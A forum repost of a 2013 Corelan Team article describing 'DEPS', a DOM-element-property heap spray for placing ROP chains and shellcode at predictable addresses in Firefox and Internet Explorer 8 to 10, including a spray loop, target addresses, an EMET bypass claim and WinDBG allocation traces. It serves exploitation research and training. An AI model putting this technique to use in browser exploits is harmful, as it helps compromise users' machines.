Jump to content
Nytro

DEPS – Precise Heap Spray on Firefox and IE10

Recommended Posts

DEPS – Precise Heap Spray on Firefox and IE10

Published February 19, 2013 | postauthoricon.pngBy Corelan Team (corelanc0d3r)

Introduction

Last week, while doing my bi-weekly courseware review and update, I discovered that my heap spray script for Firefox 9 no longer works on recent versions. Looking back at the type of tricks I had to use to make a precise spray work under Firefox 9 and IE 9, and realizing that these changes don’t seem to have any useful effect on Firefox or IE 10, I think it’s fair to state that we can no longer rely on classic BSTR string allocations to perform a precise heap spray, or any heap spray for that matter.

On top of that, the Firefox 9 heap spray was not only ugly, it was also pretty slow, which might be a deal-breaker for reliable exploitation. If the user gets the chance to kill the browser process before the spray has finished and the bug is triggered, you won’t be greeted with a shell.

Of course, that doesn’t mean it is now impossible to perform a precise heap spray in modern browsers. Federico Muttis and Anibal Sacco from Core security recently published the results of their research on HTML5 spraying, which offers a great way to take advantage of new technology to perform heap allocations in modern browsers. The advantage of their technique is that HTML5 is not limited to just IE or Firefox, since it also works on Webkit based browsers such as Google Chrome and Safari. Federico & Anibal were kind enough to provide me with the source of their script to create html5 based spray routines. You can download the script at Files - Heap Spray Scripts - Corelan Team (HTML5Spray.zip). Anyways, I decided not to use HTML5 and wanted to try something different.

It’s a well known fact that the use of BSTR strings to replace a freed object in a browser Use-After-Free scenario can be problematic. It is generally expected to find the vtable pointer at the top of the object, and that is also exactly where the BSTR header field will be placed after you have replaced the freed object with a BSTR string. In other words, although you might be able to replace the object, you won’t be able to fake the vtable pointer with something you control.

A common technique to overcome this issue is based on DOM elements. This technique requires you to create one or more DOM elements (image, div, etc), and then set a property, containing the payload you want to write into the freed object. For images, this property could be .src or .title. For div objects, .className might be a solid option.

Anyways, since this allows you to cause precise allocations (providing that you take the terminating null byte into account, of course), I wanted to see if it would be possible to use the same technique for a full blown heap spray. After playing with some sizes, I managed to put a script together that works on Firefox, and all versions of Internet Explorer. On top of that, performance is a lot better than my older heapspray scripts for FF9 and IE9, and because I’m hitting a higher memory region with this type of spray, we can also bypass the default EMET heapspray protection.

The technique

The idea is based on creating a large number of DOM elements and setting an element property to a specific value. I have tested this concept using button elements, but I don’t see a reason why this would be limited to buttons only. You might even be able to use a mix of various elements and play with the size where needed. For that reason, I’ve decided to name this technique "DOM Element Property Spray". Since there seems to be a strong desire in the infosec industry to create confusing 4-letter abbreviations, I decided to name this technique "DEPS". If your favorite security appliance claims to prevent DEPS, you’ll know what it is. Or not.

Again, the use of DOM elements to cause precise allocations is not new, but I hadn’t seen a heap spray based on this concept. In short, the DEPS technique is based on 4 steps:

  • put a div element on the page
  • Create a number of buttons
  • set the title property with your payload and use substring() to make sure it has the desired length
  • add the button to the div

The script

This is what the basic script looks like:

image_thumb1.png

You can get a copy of the scripts used in this post here: Files - Heap Spray Scripts - Corelan Team (deps_corelan_ff_ie_spray.zip). The archive password is ‘infected’ (without the quotes).

As you can see, this script no longer focuses on getting the start of a ROP chain positioned at 0x0c0c0c0c. Since we can no longer execute code directly (without disabling DEP first), and use 0c0c0c0c as the target for vtable dereferences and nops at the same time, the use of 0x0c0c0c0c as a target has pretty much lost its true value. On top of that, our target address doesn’t really need to consist of 4 times the same byte. Allocations should be 4 byte aligned, so we should not have any issues with hitting the right spot every time.

The div element in the document is used as a placeholder, so the div_container.appendChild() can store the elements and their title property in memory and keep them there. Due to the size of the allocations, all chunks are part of the VirtualAllocdBlocks list of the default heap.

The current version of the script targets 0×20202210 or 0×20302210 on Firefox (depending on the number of iterations you’re using – 0×20302210 has been pretty reliable for me so far), and 0×20202228 or 0×20302228 on IE8/9/10 (XP/Win7/Win8). This is quite interesting, because we no longer need to differentiate between IE versions to deliver a precise heap spray. Based on my tests, I found 0×20302228 to be more reliable than 0×20202228.

Of course, it is very easy to change the offset value in the script and move the actual start of the ROP chain to another address, if that is what you need or want to do. A convenient side effect of this higher memory range is that we’re hitting a higher memory address region, one that contains addresses that consist of ascii printable characters, which might offer some additional benefits in case you’ve found an oldskool stack buffer overflow that has tight character restrictions.

If you want to use a different element property, you could try to play with obj.style.fontFamily as well. In fact, you can even set 2 different properties at once, which should decrease the number of iterations you need in order to get to a predictable address:

image_thumb4.png

Finally, this technique doesn’t require any data randomization at this point, nor ugly tricks with variable names and eval(), which also helps ensuring the spray can be delivered in a relatively fast way.

Test environment

In all cases, the latest 32bit version of a specific browser was used, on fully patched versions of the OS. Tests were performed on virtual machines (VirtualBox, VMWare) and physical machines, and verified to work after reboots.

All tests on Windows 7 were performed with EMET 3.5 enabled & configured to detect/prevent heapsprays:

SNAGHTML539f63b_thumb1.png

In Windows 8, tests were performed on a default IE10 installation.

Results

Firefox 18 on Windows 7:

firefox18_thumb1.png

(this works on OS X too)

IE8 on Windows XP:

image_thumb3.png

IE9 on Windows 7:

image_thumb2.png

IE10 on Windows 8:

ie10_20302228_thumb.png

In all cases, the heap layout of a chunk that contains the string "AAAABBBBCCCCDDDD…" (which is basically just the indication of where the ROP chain is placed) looks like this:

  • VirtualAlloc Chunk header (0×20 bytes)
  • Junk (spaces)
  • ROP chain (AAAABBBBCCCCDDDD…)
  • Shellcode (\xcc\xcc\xcc\xcc…)
  • Junk (spaces)

Spray analysis

What exactly happens when you run the basic version of the DEPS heap spray ? Let’s do some tracing & logging on Windows XP SP3, IE8.

First of all, let’s change the core routine and insert some calls to Math.atan2() to interact with WinDBG from Javascript:

for (var i = 0; i < 0x500; i++)
{
Math.atan2(0xbabe, "
[*] Creating object button....");
var obj = document.createElement("button");

Math.atan2(0xbabe, "
[*] Assigning data to title.");
obj.title = data.substring(0,0x40000-0x58); //aligned spray

Math.atan2(0xbabe, "
[*] Let's AppendChild");
div_container.appendChild(obj);
}

The following breakpoint in WinDBG allows you to print out the Math.atan2() messages:

bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"

Next, set the following breakpoint to see when a button gets created:

bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;"

When you run the html page, WinDBG should display the "Creating object button" message and break at the CreateElement function:


[*] Creating object button....
Object at 00214dc0
eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190
eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CButton::CreateElement+0x16:
639944f7 8bf0 mov esi,eax

Set a breakpoint at RtlAllocateHeap to log all subsequent allocations and print out the call stack. This should give us all allocation information until the next button gets created.

bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g"

With this breakpoint set, continue to run the process. You will now get information about all allocations within one iteration.

One single iteration creates these allocations:

    Allocate at 0293d588
Allocate at 0293ea00
Allocate at 02866780
Allocate at 039b0020 <--- First interesting allocation
Allocate at 0293eb68
Allocate at 03b50020 <--- Second interesting allocation
Allocate at 02917718
Allocate at 001eff28
Allocate at 001effd8
Allocate at 00217d18
Allocate at 0293d568
Allocate at 002150c0

The first interesting allocation happens right after the debugging message "Assigning data to title."

It has the following callstack:

    Allocate at 039b0020
ChildEBP RetAddr
020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac
020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f
020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e
020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c
020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8
020bf3f4 633a8561 jscript!JsStrSubstring+0x20
020bf45c 633a7127 jscript!NatFncObj::Call+0x103
020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2
020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c
020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8
020bf590 633a77ff jscript!VAR::InvokeByName+0x170
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30

Since the first allocation uses jscript!JsStrSubstring, I assume this is triggered by this JScript code

in the spray:

   data.substring(0,0x40000-0x58);

The second allocation occurs right before the debugging message "Let’s AppendChild". It has the

following callstack:

    Allocate at 03b50020
ChildEBP RetAddr
020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac
020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154
020bf1c8 63641259 mshtml!CAttrArray::Set+0x174
020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51
020bf224 63651849 mshtml!CAttrArray::SetString+0x44
020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69
020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200
020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64
020bf2e8 6366906f mshtml!CBase::put_String+0x29
020bf318 636430c9 mshtml!GS_BSTR+0x1ab
020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1
020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d
020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d
020bf458 633a6d37 mshtml!PlainInvokeEx+0xea
020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf594 633a9f3c jscript!InvokeDispatchEx+0x98
020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135
020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27

Since this allocation uses SetString, I assume this is what actually assigns data to the property.

The combination of the use of substring, using a DOM element property, and adding the element to a div that was created in the html document earlier, ensures that copies of the data are created, and allocated in memory. The string created with substring will eventually disappear, but the SetString() allocated data remains in memory.

(thanks sinn3r for this analysis)


© 2013,

Corelan Team (corelanc0d3r). All rights reserved.

Sursa: https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...